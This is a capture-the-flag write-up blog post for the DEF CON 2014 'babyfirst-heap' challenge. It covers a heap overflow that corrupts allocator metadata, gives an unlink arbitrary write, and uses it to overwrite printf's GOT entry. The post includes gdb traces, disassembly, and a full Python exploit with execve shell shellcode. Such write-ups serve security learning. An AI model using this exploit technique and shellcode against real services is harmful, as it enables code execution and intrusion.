The 32-bit ELF allocates heap using sbrk() and then calls mprotect() to make is executable. One object of size 260 bytes can be overflowed.
[*] At 0x80493ff, [header2+4] is overwritten user suppled value of header
Exploitation is trivial:
[*] Set header to GOT address of printf - 8
[*] Set header2 to address of object which holds the address our shellcode
[*] During free(), the GOT of printf() is overwritten with address of shellcode
[*] During the next call to printf() before free() is called, shellcode is executed
Below is the full exploit:
[root@renorobert Defcon2014]# python -c 'print "A"*3000' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c Welcome to your first heap overflow... I am going to allocate 20 objects... Using Dougle Lee Allocator 2.6.1... Goodluck! Exit function pointer is at 804C8AC address. [ALLOC][loc=907F008][size=1246] [ALLOC][loc=907F4F0][size=1 121] [ALLOC][loc=907F958][size=947] [ALLOC][loc=907FD10][size=741] [ALLOC][loc=9080000][size=706] [ALLOC][loc=90802C8][size=819] [ALLOC][loc=9080600][size=673] [ALLOC][loc=90808A8][size=1004] [ALLOC][loc=9080C98][size=952] [ALLOC][loc=9081058][size=755] [ALLOC][loc=9081350][size=260] [ALLOC][loc=9081458][size=877] [ALLOC][loc=90817D0][size=1245] [ALLOC][loc=9081CB8][size=1047] [ALLOC][loc=90820D8][size=1152] [ALLOC][loc=9082560][size=1047] [ALLOC][loc=9082980][size=1059] [ALLOC][loc=9082DA8][size=906] [ALLOC][loc=9083138][size=879] [ALLOC][loc=90834B0][size=823] Write to object [size=260]: Copied 3001 bytes. [FREE][address=907F008] [FREE][address=907F4F0] [FREE][address=907F958] [FREE][address=907FD10] [FREE][address=9080000] [FREE][address=90802C8] [FREE][address=9080600] [FREE][address=90808A8] [FREE][address=9080C98] [FREE][address=9081058] [FREE][address=9081350] Segmentation fault (core dumped)
gdb-peda$ x/i $eip => 0x80493ca <free+229>: mov eax,DWORD PTR [eax] gdb-peda$ info registers eax 0x4a495594 0x4a495594 ecx 0x907f004 0x907f004 edx 0x41414140 0x41414140 ebx 0x30aff4 0x30aff4 esp 0xffd9b690 0xffd9b690 ebp 0xffd9b6c8 0xffd9b6c8 esi 0x0 0x0 edi 0x0 0x0 eip 0x80493ca 0x80493ca <free+229> eflags 0x10202 [ IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 gdb-peda$ x/x $ebp-0x20 0xffd9b6a8: 0x09081454 gdb-peda$ p/x 0x4a495594-0x09081454 $1 = 0x41414140 gdb-peda$ x/x 0x09081454 0x9081454: 0x414141400x09081454 points to object [ALLOC][loc=9081058][size=755].
gdb-peda$ x/4x 0x9081350-4 0x908134c: 0x00000108 0x41414141 0x41414141 0x41414141At obj-4 resides the metadata, which is size of object. The metadata of adjacent object is overflowed, and free(0x9081350) uses this metadata. Below is the disassembly that can lead to write anything anywhere primitive using the overflowed data.
.text:080493BF mov eax, [ebp+var_20] ; address of next allocated object .text:080493C2 mov eax, [eax] ; addr pointed by EAX(size) is overwritten due to overflow in 260 bytes object .text:080493C4 and eax, 0FFFFFFFEh .text:080493C7 add eax, [ebp+var_20] ; address of next allocated object + size .text:080493CA mov eax, [eax] ; crash here -> Out of bound read .text:080493CC and eax, 1 .text:080493CF test eax, eax .text:080493D1 jnz short loc_8049402 ; skip this jump .text:080493D3 mov eax, [ebp+var_20] .text:080493D6 mov eax, [eax] .text:080493D8 and eax, 0FFFFFFFEh .text:080493DB add [ebp+size], eax .text:080493DE mov eax, [ebp+var_20] .text:080493E1 mov eax, [eax+8] ; next_obj+8 .text:080493E4 mov [ebp+header], eax .text:080493E7 mov eax, [ebp+var_20] .text:080493EA mov eax, [eax+4] ; next_obj+4 .text:080493ED mov [ebp+header2], eax .text:080493F0 mov eax, [ebp+header2] .text:080493F3 mov edx, [ebp+header] .text:080493F6 mov [eax+8], edx ; arbitrary write here .text:080493F9 mov eax, [ebp+header] .text:080493FC mov edx, [ebp+header2] .text:080493FF mov [eax+4], edx ; another write
[root@renorobert Defcon2014]# python -c 'import struct;print "A"*260 + struct.pack("<I", 0x1) + "BBBBCCCC"' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
gdb-peda$ x/10i $eip => 0x80493f6 <free+273>: mov DWORD PTR [eax+0x8],edx 0x80493f9 <free+276>: mov eax,DWORD PTR [ebp-0x24] 0x80493fc <free+279>: mov edx,DWORD PTR [ebp-0x28] 0x80493ff <free+282>: mov DWORD PTR [eax+0x4],edx 0x8049402 <free+285>: mov eax,DWORD PTR [ebp-0xc] 0x8049405 <free+288>: mov eax,DWORD PTR [eax] 0x8049407 <free+290>: and eax,0x1 0x804940a <free+293>: mov edx,eax 0x804940c <free+295>: or edx,DWORD PTR [ebp-0x10] 0x804940f <free+298>: mov eax,DWORD PTR [ebp-0xc] gdb-peda$ info registers eax 0x42424242 0x42424242 ecx 0x8689004 0x8689004 edx 0x43434343 0x43434343 ebx 0x30aff4 0x30aff4 esp 0xffde0cc0 0xffde0cc0 ebp 0xffde0cf8 0xffde0cf8 esi 0x0 0x0 edi 0x0 0x0 eip 0x80493f6 0x80493f6 <free+273> eflags 0x10206 [ PF IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63[*] At 0x80493f6, [header+8] is overwritten with user supplied value of header2
[*] At 0x80493ff, [header2+4] is overwritten user suppled value of header
Exploitation is trivial:
[*] Set header to GOT address of printf - 8
[*] Set header2 to address of object which holds the address our shellcode
[*] During free(), the GOT of printf() is overwritten with address of shellcode
[*] During the next call to printf() before free() is called, shellcode is executed
Below is the full exploit:
#!/usr/bin/env python import struct import telnetlib import re host = 'babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me' host = '127.0.0.1' port = 4088 con = telnetlib.Telnet(host, port) # http://shell-storm.org/shellcode/files/shellcode-752.php nop = "\x90" * 30 shellcode = nop + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" gotprintf = 0x0804c004 t = con.read_until('Write to object [size=260]:') print t addr_objc = re.search("\[ALLOC\]\[loc=([a-fA-F\d]{7})\]\[size=260\]",t) addr_objc = int(addr_objc.groups()[0],16) payload = "\x90\x90\xeb\x1c" # jmp patch payload += shellcode + "A"* (260 - len(payload) - len(shellcode)) payload += struct.pack("<I", 0x1) payload += struct.pack("<I", gotprintf - 8) payload += struct.pack("<I", addr_objc) con.write(payload + "\n") con.interact()Flag for the challenge is Good job on that doubly linked list. Why don't you try something harder!!OMG!!
No comments :
Post a Comment